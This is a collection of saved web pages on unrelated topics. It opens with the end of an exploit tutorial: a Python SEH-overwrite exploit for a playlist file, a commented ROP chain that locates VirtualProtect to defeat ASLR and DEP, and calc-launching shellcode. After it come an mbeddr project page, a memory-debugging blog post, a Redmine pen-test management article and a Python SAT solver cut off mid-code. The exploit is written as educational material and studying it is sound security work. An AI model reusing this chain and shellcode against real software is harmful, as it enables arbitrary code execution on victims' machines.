    rop+= struct.pack('L',0x6404f7eb) # lpflOldProtect
    #############################################################
    
    #############################################################
    # 0x10 Virtual Protect
    
    # 0xA Temporarily store EAX in EDX
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x6403bed7) # ROP NOP
    rop+= struct.pack('H',0x4141)     # junk
    
    # 0xB Extract leaked kernel32 address from the stack
    rop+= struct.pack('L',0x61618563) # XCHG EAX,EBP # RETN
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffff0d0) # Offset
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    rop+= struct.pack('L',0x6163227d) # MOV EAX,DWORD PTR DS:[EAX] # RETN
    
    # 0xC Calculate VirtualProtect relative to the leaked kernel32 address
    rop+= struct.pack('L',0x61628185) # POP EBP # RETN
    rop+= struct.pack('L',0xfffee6fc) # Offset
    rop+= struct.pack('L',0x6161a228) # ADD EAX,EBP # RETN
    
    # 0xD Fill in the VirtualProtect placeholder
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x600139c5) # MOV DWORD PTR DS:[EAX+10],EDX # RETN 08
    rop+= struct.pack('H',0x4141)     # junk (RETN 02)
    
    #############################################################
    # 0x20 ReturnAddress
    
    # 0xA Temporarily store EAX in EDX
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    
    # 0xB Get the placeholder pivot back into EAX
    rop+= struct.pack('L',0x6403bf53) # MOV EAX,EDX # RETN
    rop+= struct.pack('H',0x4141)     # junk (RETN 02)
    
    # 0xC Put calculated shellcode address into EAX
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffffecc) # Offset (Shellcode will be placed after SEH 308 bytes away from EAX)
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    
    # 0xD Exchange EAX,EDX and store ReturnAddress
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x616193b5) # MOV DWORD PTR DS:[EAX+14],EDX # RETN 08
    rop+= struct.pack('H',0x4141)     # junk
    
    #############################################################
    # 0x30 lpAddress
    
    # 0xA Store lpAddress which is already in EDX
    rop+= struct.pack('L',0x64044486) # MOV DWORD PTR DS:[EAX+18],EDX # RETN
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    
    #############################################################
    # 0x40 dwSize
    
    # 0xA Adjust EAX so we can still use [EAX+10],EDX instruction
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffffff4) # Offset (EAX+C)
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    
    # 0xB Temporarily store EAX in EDX
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    
    # 0xC Put 0x201 into EAX
    rop+= struct.pack('L',0x6403bed6) # POP EAX # RETN
    rop+= struct.pack('H',0x4141)     # junk (RETN 02)
    rop+= struct.pack('L',0xfffffdff) # 512 Bytes
    rop+= struct.pack('L',0x640377e0) # NEG EAX # RETN
    
    # 0xD Exchange EAX,EDX and store dwSize
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x600139c5) # MOV DWORD PTR DS:[EAX+10],EDX # RETN 08
    rop+= struct.pack('H',0x4141)     # junk
    
    #############################################################
    # 0x50 NewProtect (0x40)
    
    # 0xA Temporarily store EAX in EDX
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    
    # 0xB Put 0x40 into EAX
    rop+= struct.pack('L',0x64114086) # POP EAX # RETN
    rop+= struct.pack('H',0x4141)     # junk (RETN 02)
    rop+= struct.pack('L',0xffffffc0) # 0x40 PAGE_EXECUTE_READWRITE
    rop+= struct.pack('L',0x6002d513) # NEG EAX # RETN
    
    # 0xC Exchange EAX,EDX and store NewProtect
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x616193b5) # MOV DWORD PTR DS:[EAX+14],EDX # RETN 08
    rop+= struct.pack('H',0x4141)     # junk (RETN 02)
    
    #############################################################
    # 0x60 Execute VirtualProtect
    
    # 0xA Adjust EAX to point to the VirtualProtect call (use INC for a change)
    rop+= struct.pack('L',0x61630fa3) # INC EAX # RETN
    rop+= struct.pack('L',0x41414141) # junk
    rop+= struct.pack('L',0x41414141) # junk
    rop+= struct.pack('L',0x61630fa3) # INC EAX # RETN
    rop+= struct.pack('L',0x61630fa3) # INC EAX # RETN
    rop+= struct.pack('L',0x61630fa3) # INC EAX # RETN
    
    # 0xB Execute VirtualProtect
    rop+= struct.pack('L',0x616248b3) # XCHG EAX,ESP # RETN
    
    junk2 = "C"*(612 - len(rop) - len(junk1))
    print len(junk2)
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    sc = "\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC"
    
    payload = junk1 + rop + junk2 + seh + sc
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

I have tried to make the exploit as readable as possible and write plenty of
comments, but just in case here is the general flow of how it works:

1\) The initial payload of 612 bytes \(consisting of junk1, rop and junk2\)
overwrites the SEH handler with an address that we control.

2\) After triggering the excepting we execute JMP ESP,400 and pivot 1024 bytes
to the beginning of the ROP chain.

3\) The ROP chain proceeds to find the kernel32|VirtualProtect address and
populate all of the VirtualProtect parameter placeholders on the stack. Both
ReturnAddress and lpAddress point to the calculated location of the shellcode.
The rest of the parameters are used to define shellcode size \(up to 512
bytes\) and make memory executable.

4\) After populating all of the VirtualProtect parameters the execution is
transferred to the placeholder with XCHG EAX,ESP

5\) Once VirtualProtect returns, the execution is transferred to the shellcode
placed at the very end of our payload.

If all goes well, you should be greated with a friendly calculator popup. This
particular exploit does not have the same shellcode size limitations as in the
section above \(up to 198 bytes\); however, the ROP chain to bypass ASLR and
DEP is significantly larger.

# External Links and References

# Special Note

This article would not be possible if not for the hard work of Peter Van
Eeckhoutte and the Corelan Team. Thanks guys.

# mbeddr.com

**Created:**| _2/23/2012 9:48:51 PM_  
---|---  
**Updated:**| _2/23/2012 9:48:55 PM_  
**Author:**| __  
**Tags:**| _Embedded C prototyping devtools_  
  

## Overview

mbeddr aims at creating a different way of developing embedded software
systems. Instead of using archaic modeling tools and manually written C code,
we use the open source JetBrains MPS language workbench to create an
integrated approach to embedded development, where C programming, DSLs, domain
specific extensions to C, product line variability, requirements traceability
and model checking are supported directly.

For more information about this approach please see the Learn More page.

At this point we are well ahead in developing an implementation of C in MPS
which can then be used as a basis for domain-specific extensions. The
development progress can be see from our blog page.

Since the end of 2010, the core C language is made available as Open Source.

The system is developed in the context of the BMBF-sponsored KMU-innovativ
project LW-ES. The project partners include itemis, fortiss, Sick and Lear.
Take a look at the Team page for details.

<img src='img/Temp2_10447' />

search

  * ## Recent Posts
    * The mbeddr Debugger
    * mbeddr.core code is at github\!
    * mbeddr @ Embedded World
    * Visualizations for Models
    * Hello C++
    * Towards a Realistic Example
    * Tesing Components with Stubs and Mocks
    * From Interfaces to Contracts
    * Why mbeddr uses MPS
    * Extension Guide is now online
## Categories

    * code
    * demos'n'stuff
    * dev progress
    * news
    * Uncategorized
## Archive

    * February 2012
    * January 2012
    * December 2011
    * November 2011
    * October 2011
    * September 2011
    * August 2011
    * July 2011
    * June 2011
    * January 2011
    * July 2010
    * June 2010
    * ## Blogroll
      * itemis
      * JetBrains
      * MPS

  * ### Feeds
  * Full
  * Comments
  * 

  * Theme: 
  * 

# Finding the leaked object reference by scanning memory: Example - The Old
New Thing - Site Home - MSDN Blogs

**Created:**| _1/12/2015 10:46:23 PM_  
---|---  
**Updated:**| _1/12/2015 10:46:23 PM_  
**Author:**| __  
**Tags:**| __  
  

# Finding the leaked object reference by scanning memory: Example

9 Jan 2015 7:00 AM

An assertion failure was hit in some code.

[code]

        // There should be no additional references to the object at this point
        assert(m_cRef == 1);
    
[/code]

But the reference count was 2. That's not good. Where is that extra reference
and who took it?

This was not code I was at all familiar with, so I went back to first
principles: Let's hope that the reference was not leaked but rather that the
reference was taken and not released. And let's hope that the memory hasn't
been paged out. \(Because  debugging is an exercise in optimism.\)

[code]

    1: kd> s 0 0fffffff 00 86 ec 00
    04effacc  00 86 ec 00 c0 85 ec 00-00 00 00 00 00 00 00 00  ................ // us
    0532c318  00 86 ec 00 28 05 00 00-80 6d 32 05 03 00 00 00  ....(....m2..... // rogue
    
[/code]

The first hit is the reference to the object from the code raising the
assertion. The second hit is the interesting one. That's probably the rogue
reference. But who is it?

[code]

    1: kd> ln 532c318
    1: kd>
    
[/code]

It does not report as belong to any module, so it's not a global variable.

Is it a reference from a stack variable? If so, then a stack trace of the
thread with the active reference may tell us who is holding the reference and
why.

[code]

    1: kd> !process -1 4
    PROCESS 907ef980  SessionId: 2  Cid: 06cc    Peb: 7f4df000  ParentCid: 0298
        DirBase: 9e983000  ObjectTable: a576f560  HandleCount: 330.
        Image: contoso.exe
    
            THREAD 8e840080  Cid 06cc.0b78  Teb: 7f4de000 Win32Thread: 9d04b3e0 WAIT
            THREAD 91e24080  Cid 06cc.08d8  Teb: 7f4dd000 Win32Thread: 00000000 WAIT
            THREAD 8e9a3580  Cid 06cc.09f8  Teb: 7f4dc000 Win32Thread: 9d102cc8 WAIT
            THREAD 8e2be080  Cid 06cc.0878  Teb: 7f4db000 Win32Thread: 9d129978 WAIT
            THREAD 82c08080  Cid 06cc.0480  Teb: 7f4da000 Win32Thread: 00000000 WAIT
            THREAD 90552400  Cid 06cc.0f5c  Teb: 7f4d9000 Win32Thread: 9d129628 WAIT
            THREAD 912c9080  Cid 06cc.02ec  Teb: 7f4d8000 Win32Thread: 00000000 WAIT
            THREAD 8e9e8680  Cid 06cc.0130  Teb: 7f4d7000 Win32Thread: 9d129cc8 READY on processor 0
            THREAD 914b8b80  Cid 06cc.02e8  Teb: 7f4d6000 Win32Thread: 9d12d568 WAIT
            THREAD 9054ab00  Cid 06cc.0294  Teb: 7f4d5000 Win32Thread: 9d12fac0 WAIT
            THREAD 909a2b80  Cid 06cc.0b54  Teb: 7f4d4000 Win32Thread: 00000000 WAIT
            THREAD 90866b80  Cid 06cc.0784  Teb: 7f4d3000 Win32Thread: 93dbb4e0 RUNNING on processor 1
            THREAD 90cfcb80  Cid 06cc.08c4  Teb: 7f3af000 Win32Thread: 93de0cc8 WAIT
            THREAD 90c39a00  Cid 06cc.0914  Teb: 7f3ae000 Win32Thread: 00000000 WAIT
            THREAD 90629480  Cid 06cc.0bc8  Teb: 7f3ad000 Win32Thread: 00000000 WAIT
    
[/code]

Now I have to dump the stack boundaries to see whether the address in question
lies within the stack range.

[code]

    1: kd> dd 7f4de000 l3
    7f4de000  ffffffff 00de0000 00dd0000
    1: kd> dd 7f4dd000 l3
    7f4dd000  ffffffff 01070000 01060000
    ...
    1: kd> dd 7f4d7000 l3
    7f4d7000  ffffffff 04e00000 04df0000 // our stack
    ...
    
[/code]

The rogue reference did not land in any of the stack ranges, so it's probably
on the heap. Fortunately, since it's on the heap, it's probably part of some
larger object. And let's hope \(see: optimism\) that it's an object with
virtual methods.

[code]

    0532c298  73617453
    0532c29c  74654d68
    0532c2a0  74616461
    0532c2a4  446e4961
    0532c2a8  00007865
    0532c2ac  00000000
    0532c2b0  76726553 USER32!_NULL_IMPORT_DESCRIPTOR 
       
         (USER32+0xb6553)
    0532c2b4  44497265
    0532c2b8  45646e49
    0532c2bc  41745378 contoso!CMumble::CMumble+0x4c
    0532c2c0  00006873
    0532c2c4  00000000
    0532c2c8  4e616843
    0532c2cc  79546567
    0532c2d0  4e496570
    0532c2d4  00786564
    0532c2d8  2856662a
    0532c2dc  080a9b87
    0532c2e0  00f59fa0
    0532c2e4  05326538
    0532c2e8  00000000
    0532c2ec  00000000
    0532c2f0  0000029c
    0532c2f4  00000001
    0532c2f8  00000230
    0532c2fc  fdfdfdfd
    0532c300  45ea1370 contoso!CFrumble::`vftable'
    0532c304  45ea134c contoso!CFrumble::`vftable'
    0532c308  00000000
    0532c30c  05b9a040
    0532c310  00000002
    0532c314  00000001
    0532c318  00ec8600
    
       
[/code]

Hooray, there is a vtable a few bytes before the pointer, and the contents of
the memory do appear to match a `CFrumble` object, so I think we found our
culprit.

I was able to hand off the next stage of the investigation \(why is a Frumble
being created with a reference to the object?\) to another team member with
more expertise with Frumbles.

\(In case anybody cared, the conclusion was that this was a variation of a
known bug.\)

# HolisticInfoSec: toolsmith: Implementing Redmine for Secure Project
Management

**Created:**| _1/15/2014 9:41:37 PM_  
---|---  
**Updated:**| _1/15/2014 9:41:37 PM_  
**Author:**| __  
**Tags:**| _projects management_  
  

# **t** oolsmith: Implementing Redmine for Secure Project Management****

<img src='img/Temp2_3947.png' width='320' height='106' />

**Prerequisites/dependencies**

VMWare for this methodology or a dedicated installation platform if installed
from ISO

**Introduction**

From Redline for March’s toolsmith to Redmine for April’s, we’ll change pace
from hacker space to the realm of secure project management**.** Following is
a shortened version of a much longer Redmine study written for the SANS
Reading Room  as part of graduate school requirements and released jointly
with ISSA**.**

Security and collaborative project management should not be exclusive**.**
Software designed to support secure project management and security-oriented
projects can be both feature rich and hardened against attacks**.** Web
applications such as Redmine offer just such a solution and can embrace the
needs of project managers and security practitioners alike**.** Redmine is
project management and bug tracking software built on Ruby on Rails with a
focus on collaboration, functionality, and when enhanced with specific
plugins, can be configured securely to facilitate security-oriented
projects**.** As a productivity platform, Redmine allows convenient team
workflow while embracing the needs of virtual or mobile project members with a
focus on socially oriented processes**.** We’ll explore the secure
implementation and configuration of a Redmine server, and then transition into
step-by-step details for managing a real world web application penetration
testing project using Redmine**.** This will include the distribution of a
virtual machine ready-built for real world use during such projects, pre-
configured with a project template based on workflow in the SANS 542 Web
Application Penetration Testing course**.**

From the TurnKey Redmine Web page: “Redmine is a Rails web application that
provides integrated project management features, issue tracking, and support
for multiple version control programs. It includes calendar and Gantt charts
to aid visual representation of projects and their deadlines**.** It also
features  multi-project support, role based access control, a per-project
wiki, and project forums”**.** Additionally, a tool such as Redmine allows the
convergence of software and security testing**.** As a software configuration
management \(SCM\) tool, Redmine is ideally suited to projects related to
software development**.** That said, the security expertise required to
security test software needs equal consideration and project management**.**
“Sometimes security, or pen-testers for short - work on the same test team as
functionality testers; other times, pen-testers work as security consultants
and are hired by the software development company to perform security
tests”\[1\]**.** Regardless of who solicits the use of pen-testers, the
related pen-test is a project, and Redmine is the ideal application to provide
the agile, flexible platform pen-testers need to coordinate their efforts with
the help of a PM or team lead**.**

**Installation**

Redmine installation and configuration using a TurnKey Linux Redmine appliance
built on a Debian-based Linux distribution, is reasonably straightforward**.**
Your ability to install a Linux operating system from an ISO file on a
dedicated machine, or configuring a VMware virtual machine is assumed**.** It
is also assumed you have control of or access to an Active Directory domain
for LDAP authentication to Redmine, as it allows for more robust user
management**.** As referenced later, the IP address of the Redmine instance
was 192**.** 168.248.16 and 192.168**.** 248.248 for the domain controller.
The stable version of the TurnKey virtual Redmine appliance \(version 12\)
running on a lean instance of Debian Squeeze \(CLI only, no X11 GUI\) via
VMWare Workstation 9 was utilized for this research**.** Note, readers will
find running the shell via Putty or a client where you can cut and paste
installation strings easier as the VMWare tools aren’t effective without the
GUI**.** This TurnKey Redmine appliance relies on Passenger, a module for
Apache that hosts Ruby on Rails applications, and supports the use of SSL/TLS
\(configured by default\) and ModSecurity for better security**.**

As of this writing the current version of Redmine was 2**.** 2.1 and will be
described herein**.** The installed version of Redmine on the TurnKey
appliance is 1**.** 4**.** 4; this guidance will include its upgrade to
Redmine 2**.** 2**.** 1.

First, download the Turnkey Linux VM appliance and open it in VMWare**.** The
first boot routine will ask you to create passwords for the root account, the
MySQL root user, and the Redmine admin**.** When the routine completes you
should be presented the TurnKey Linux Configuration Console as seen in
**Figure 1****.**

<img src='img/Temp2_3944.png' />  
---  
**FIGURE 1****:** TurnKey Linux Configuration Console  
In the Hardening section, the process of disabling the services you don’t
intend to use will be discussed**.** Take a snapshot of the virtual machine at
this point and name the snapshot Base Install**.**

Update the Redmine version from a command prompt on the Redmine server as
follows :

_1**.** __apt-get update_

_2**.** __apt-get upgrade_

_3**.** __apt-get install locate_

_4**.** __updatedb_

_5**.** __cd /var/www_

_6**.** __mv redmine redmine -old_

_7**.** __hg clone --updaterev 2**.** 0-stable
https://bitbucket.org/redmine/redmine-all redmine_

_8**.** __cp redmine -old/config/database.yml redmine/config/database.yml_

_9**.** __cp -r redmine-old/files/ redmine/files/_

_10**.** __chown -R root:www-data /var/www/ redmine_

_11**.** __cd redmine_

_12**.** __gem install bundler_

_13**.** __gem install test-unit_

_14**.** __bundle install --without development test rmagick_

_15**.** __mkdir public/plugin\_assets_

_16**.** __rake generate\_secret\_token_

_17**.** __rake db:migrate RAILS\_ENV=production_

_18**.** __chown -R www-data:www-data files log tmp public/plugin\_assets_

_19**.** __rake redmine:plugins:migrate RAILS\_ENV=production_

_20**.** __chmod -R 755 files log/ tmp/ public/plugin\_assets_

_21**.** __rake tmp:cache:clear_

_22**.** __rake tmp:sessions:clear_

Run the script /var/www/redmine/script/about to confirm the version
upgrade**.**

LDAP authentication is inherent to Redmine but requires a bit of setup**.**
The example Active Directory domain name utilized via a virtual Windows Server
2008 domain controller was REDMINE**.** The user redminer was established as
the service-like account utilized by Redmine to access the directory**.** Do
not user a domain administrator account for this user**.** Should your Redmine
instance be compromised so too then would be your domain**.** Via your
browser, as the Redmine admin user, navigate to Administration then LDAP
Authentication**.** Refer to the Redmine LDAP Authentication page  via the
Redmine WIKI but refer to the following example configuration as successfully
utilized for this research seen in **Figure 2****.**

<img src='img/Temp2_3948.png' />

<img src='img/Temp2_3948.png' />  
---  
**FIGURE 2:** LDAP Configuration  
Select _Save_ then, assuming a correct configuration, you should receive
indication of a successful connection when you click Test on the resulting
Authentication Modes page**.**

Refer to the SANS Reading Room version regarding additional installation and
hardening steps and don’t skip**\!** These are important:

· Installation

o Pixel Cookers theme for a streamlined, tech-centric look as well as the

o Email settings

o Plugin installation \(Ldap Sync, Scrum2B, Screenshot, Monitoring &
Controlling\)

· Hardening

o Disable unnecessary services

o Tighten down SSH

o Restrict Redmine web access to HTTPS only

o Implement UFW \(the uncomplicated firewall\)

**Engaging With Redmine**

Following is a step by step description of a penetration testing engagement
where Redmine is utilized to provide project support for a team of three**.**

The first and most important steps to undertake are the elimination of all unwanted permissions for the _Non member_ and _Anonymous_ roles**.** Login to Redmine as the admin user and select _Administration_ | _Roles and permissions_ | _Non member_ | _Uncheck all_ | _Save_**.** Repeat this process for the _Anonyomous_ roles**.** These steps will ensure that you don’t inadvertently expose project data to those who don’t have explicit permission to view it**.** Next, to add users for this project, select _Administration_ | _Groups_ to add a group called _PenTesters_**.** From _Administration_ | _Users_ add three users with appropriately defined login names pentester1 \(Fred\), pentester2 \(Wilma\), pentester3 \(Barney\), and pentestpm \(BamBam\) and add them to the PenTesters group**.** Remember these users need to also have been created in the domain you’re utilizing for LDAP authentication**.** Via the _Administration_ menu, under _Projects_ , create a project called _Web Application Pentest_**.** The activities related to this project are drawn directly from tasks outlined  in the _SANS 542: Web App Penetration Testing and Ethical Hacking_ course as well as the Samurai Web Testing Framework**.** Select all _Modules_ and _Trackers_ for the project**.** You’ll note that _Monitoring and Controlling by Project_ and _Scrum2b_ are available as implemented during the installation phase described earlier**.** These plugins will be described in more detail as their use is inherent to agile project management for projects such as penetration testing**.**
Redmine allows the creation of subprojects as well; the Web Application
Pentest project should be divided into four subprojects named as follows:
_1-Recon_ , _2-Mapping_ , _3-Discovery_ , and _4-Exploitation_**.** Add each
of them from Redmine Web Application Pentest project page and remember to
enable all _Modules_ and _Trackers_**.**

Add the user accounts for the three penetration testers and the project PM
user as project and subproject members via the Members tab as seen in **Figure
3****.**

<img src='img/Temp2_3952.png' width='320' height='106' />  
---  
**FIGURE 3:** Pen-test Project Members  
Return to the project overview, select _1-Recon_ under subprojects, and add a
new issue**.** File a bug for each recon phase task you’d like completed, with
the applicable start and due dates**.** You can upload related files,
screenshots \(thanks to the plugin installed earlier\), and designate an
assignee, as well as watchers**.**

Under _Settings_ for each project or subproject you define you can establish
issue categories**.** This is an ideal method by which to establish
penetration testing activities for each subproject**.** As an example, the
recon phase of a web application penetration test includes general recon along
with DNS and Whois lookups, search engine analysis, social network analysis,
and location analysis**.** Establishing each of these as issues categories
will then allow bugs \(tasks\) to be filed specific to each category**.** Each
bug can in turn be assigned a pen-tester with start and end dates, along with
files that might be useful to complete the task**.** Location analysis could
include gleaning location data from victim Tweets as described in Violent
Python\[2\]**.** Twitter provides an API to developers which allows
information gathering about individuals \(potential penetration test
targets\)**.** A script from Violent Python to help in this information
gathering can be uploaded into the Redmine bug, Location data from Tweets as
seen in **Figure 4****.**

<img src='img/Temp2_3949.png' width='320' height='93' />  
---  
**FIGURE 4:** Bug \(task\) assigned to Fred, with helper code  
As bugs are added, assigned, and/or updated, if configured to communicate
verbosely, Redmine will email notices to the appropriate parties**.** The
email as seen in **Figure 5** was received as a function of filing the bug in
Figure 4**.**

<img src='img/Temp2_3951.png' />  
---  
**FIGURE 5:** Email notice for bug \(task\) filed  
This allows real-time communication among penetration testers or any project
participants defined in your Redmine deployment**.** As pen-testers generate
findings, they can be uploaded to the associated bug, and if versioning is
required, managed via the Mercurial SCM offering as described during
installation**.**

Bug status can be tracked as _New_ , _In Progress_ , _Resolved_ , _Feedback_ ,
and _Closed_ or _Rejected_ , and each bug can be assigned a priority and
estimated time**.** As completed, actual time spent on each bug can be tracked
too**.** Overall project time allotments as defined in the bug then track
quite nicely via the Redmine Gantt functionality as seen in **Figure 6****.**

<img src='img/Temp2_3950.png' />  
---  
**FIGURE 6:** Redmine Gantt functionality  
**Scrum2b**

The concept of agile software development has, over time, been applied
directly to project management**.** Consider the use of Scrum methodology as
part of agile project management**.** According to Agile Project Management
with Scrum, “the heart of Scrum lies in the iteration**.** The team takes a
look at the requirements, considers the available technology, and evaluates
its own skills and capabilities**.** It then collectively determines how to
build the functionality, modifying its approach daily as it encounters new
complexities, difficulties, and surprises**.** The team figures out what needs
to be done and selects the best way to do it**.** This creative process is the
heart of the Scrum’s productivity”\[3\]**.** These creative processes,
assessment of capabilities, and changing complexities and surprises are also
inherent to any penetration test and as such, the agile project management
framework is an ideal way to coordinate pen-test projects**.** The Scrum2b
plugin for Redmine is well suited to answer this calling**.** If each phase of
the pen-test is considered a sprint as defined by the Scrum process, the
planning and awareness necessary to support the sprint is essential**.** The
Scrum2b interface is a virtual Scrum Board that allows project participants to
track activities by bug and members while editing the bug on the fly with the
appropriate permission**.** The pentestpm user, as project manager, could
adjust task’s percentage of completion right from Scrum2b using the time
slider**.**

<img src='img/Temp2_3946.png' />  
---  
**FIGURE 7:** Scrum2b Scrum Board for pen-testers  
If the assignee needs to jump right to the bug, the plugin is fully hyperlink
enabled**.** The Scrum Board allows filtering the view by members and
issues**.** New issues can also be added right from the Scrum Board**.**

**Monitoring & Controlling**

All projects require the right balance of monitoring and controlling, and
penetration tests are no exception**.** The Monitoring and Controlling Project
Work process includes “gathering, recording, and documenting project
information that provides project status, measurements of progress, and
forecasting to update cost and schedule information that is reported to
stakeholders, project team members, management, and others”\[4\]**.** The
Monitoring & Controlling plugin for Redmine shines in this capacity**.**
Established as a convenient left-pane menu item with the Pixel Cookers theme,
this plugin creates a dashboard for project data organized by Tasks
Management, Time Management, and Human Resource Management**.** Tasks
Management tracks Tasks by Status, Tasks by Category, and Task Management
\(manageability\)**.** Applied again to the context of a pen-test project,
Figure 8 represents the Recon phase of a pen-test**.**

<img src='img/Temp2_3945.png' width='320' height='148' />  
---  
**FIGURE 8:** Monitoring & Controlling Tasks Management  
Refer again to the SANS Reading Room version, page 17, for more regarding Time
& Human Resources Management with the Redmine Monitoring & Controlling
plugin**.**

**In Conclusion**

Project management includes a certain amount of tedium, but Redmine configured
with the aforementioned plugins allows for a refreshing, dynamic approach to
the overall secure project management lifecycle**.** While no system is ever
absolutely secure \(a serious Ruby on Rails SQL injection flaw was disclosed
as this paper was written\), the appropriate hardening steps can help ensure
enhanced protection**.** Steady maintenance and diligence will also serve you
well**.** The convenience of an implementation such as TurnKey Redmine makes
keeping the entire system up to date quite easy**.**

A version of a TurnKey Redmine virtual machine as discussed here will be made
available to readers via the HolisticInfoSec Skydrive **.** This instance will
include a web application project template, with predefined subprojects, issue
categories and bugs, again as defined in the SANS 542 course**.** Readers will
need only create users, assign dates and members, and establish access to an
LDAP service**.**

Ping me via email if you have questions or suggestions for topic via russ at
holisticinfosec dot org or hit me on Twitter @holisticinfosec**.**

Cheers…until next month.

**References**

* * *
\[1\] Gallagher, Jeffries, and Landauer \(2006\)**.** _Hunting Security Bugs_
, Redmond, WA: Microsoft Press**.**

\[2\] O'Connor, T. \(2013\)**.** Violent python. \(p. 229\)**.** Walthm, MA:
Syngress.

\[3\] Schwaber, K. \(2004\)**.**  _Agile project management with scrum_**.**

\[4\] Heldman, K. \(2009\)**.** Pmp: Project management professional exam
study guide**.** \(Fifth ed.\). Indianapolis, IN: Sybex**.**

****

# Dennis Yurichev: Simplest SAT solver in ~120 lines

**Created:**| _6/29/2017 3:49:43 PM_  
---|---  
**Updated:**| _6/29/2017 3:49:43 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## Simplest SAT solver in ~120 lines

This is simplest possible backtracking SAT solver written in Python \(not a
DPLL one\). It uses the same backtracking algorithm you can find in many
simple Sudoku and 8 queens solvers. It works significantly slower, but due to
its extreme simplicity, it can also count solutions. For example, it count all
solutions of 8 queens problem. Also, there are 70 solutions for POPCNT4
function \(the function is true if any 4 of its input 8 variables are true\):

[code]

    SAT
    -1 -2 -3 -4 5 6 7 8 0
    SAT
    -1 -2 -3 4 -5 6 7 8 0
    SAT
    -1 -2 -3 4 5 -6 7 8 0
    SAT
    -1 -2 -3 4 5 6 -7 8 0
    ...
    
    SAT
    1 2 3 -4 -5 6 -7 -8 0
    SAT
    1 2 3 -4 5 -6 -7 -8 0
    SAT
    1 2 3 4 -5 -6 -7 -8 0
    UNSAT
    solutions= 70
    
[/code]

It was also tested on my Minesweeper cracker, and finishes in reasonable time
\(though, slower than MiniSat by a factor of ~10\).

On bigger CNF instances, it gets stuck.

Source code:

[code]

    #!/usr/bin/env python
    
    count_solutions=True
    #count_solutions=False
    
    import sys
    
    def read_text_file (fname):
        with open(fname) as f:
            content = f.readlines()
        return [x.strip() for x in content] 
    
    def read_DIMACS (fname):
        content=read_text_file(fname)
    
        header=content[0].split(" ")
    
        assert header[0]=="p" and header[1]=="cnf"
        variables_total, clauses_total = int(header[2]), int(header[3])
    
        # array idx=number (of line) of clause
        # val=list of terms
        # term can be negative signed integer
        clauses=[]
        for c in content[1:]:
            clause=[]
            for var_s in c.split(" "):
                var=int(var_s)
                if var!=0:
                    clause.append(var)
            clauses.append(clause)
    
        # this is variables index.
        # for each variable, it has list of clauses, where this variable is used.
        # key=variable
        # val=list of numbers of clause
        variables_idx={}
        for i in range(len(clauses)):
            for term in clauses[i]:
                variables_idx.setdefault(abs(term), []).append(i)
    
        return clauses, variables_idx
    
    # clause=list of terms. signed integer. -x means negated.
    # values=list of values: from 0th: [F,F,F,F,T,F,T,T...]
    def eval_clause (terms, values):
        try:
            # we search for at least one True
            for t in terms:
                # variable is non-negated:
                if t>0 and values[t-1]==True:
                    return True
                # variable is negated:
                if t<0 and values[(-t)-1]==False:
                    return True
            # all terms enumerated at this point
            return False
        except IndexError:
            # values[] has not enough values
            # None means "maybe"
            return None
    
    def chk_vals(clauses, variables_idx, vals):
        # check only clauses which affected by the last (new/changed) value, ignore the rest
        # because since we already got here, all other values are correct, so no need to recheck them
        idx_of_last_var=len(vals)
        # variable can be absent in index, because no clause uses it:
        if idx_of_last_var not in variables_idx:
            return True
        # enumerate clauses which has this variable:
        for clause_n in variables_idx[idx_of_last_var]:
            clause=clauses[clause_n]
            # if any clause evaluated to False, stop checking, new value is incorrect:
            if eval_clause (clause, vals)==False:
                return False
        # all clauses evaluated to True or None ("maybe")
        return True
    
    def print_vals(vals):
        # enumerate all vals[]
        # prepend "-" if vals[i] is False (i.e., negated).
        print "".join([["-",""][vals[i]] + str(i+1) + " " for i in range(len(vals))])+"0"
    
    clauses, variables_idx = read_DIMACS(sys.argv[1])
    
    solutions=0
    
    def backtrack(vals):
        global solutions
    
        if len(vals)==len(variables_idx):
            # we reached end - all values are correct
            print "SAT"
            print_vals(vals)
            if count_solutions:
                solutions=solutions+1
                # go back, if we need more solutions:
                return
            else:
                exit(10) # as in MiniSat
            return
    
        for next in [False, True]:
            # add new value:
            new_vals=vals+[next]
            if chk_vals(clauses, variables_idx, new_vals):
                # new value is correct, try add another one:
                backtrack(new_vals)
            else:
                # new value (False) is not correct, now try True:
                continue
    
    # try to find all values:
    backtrack([])
    print "UNSAT"
    if count_solutions:
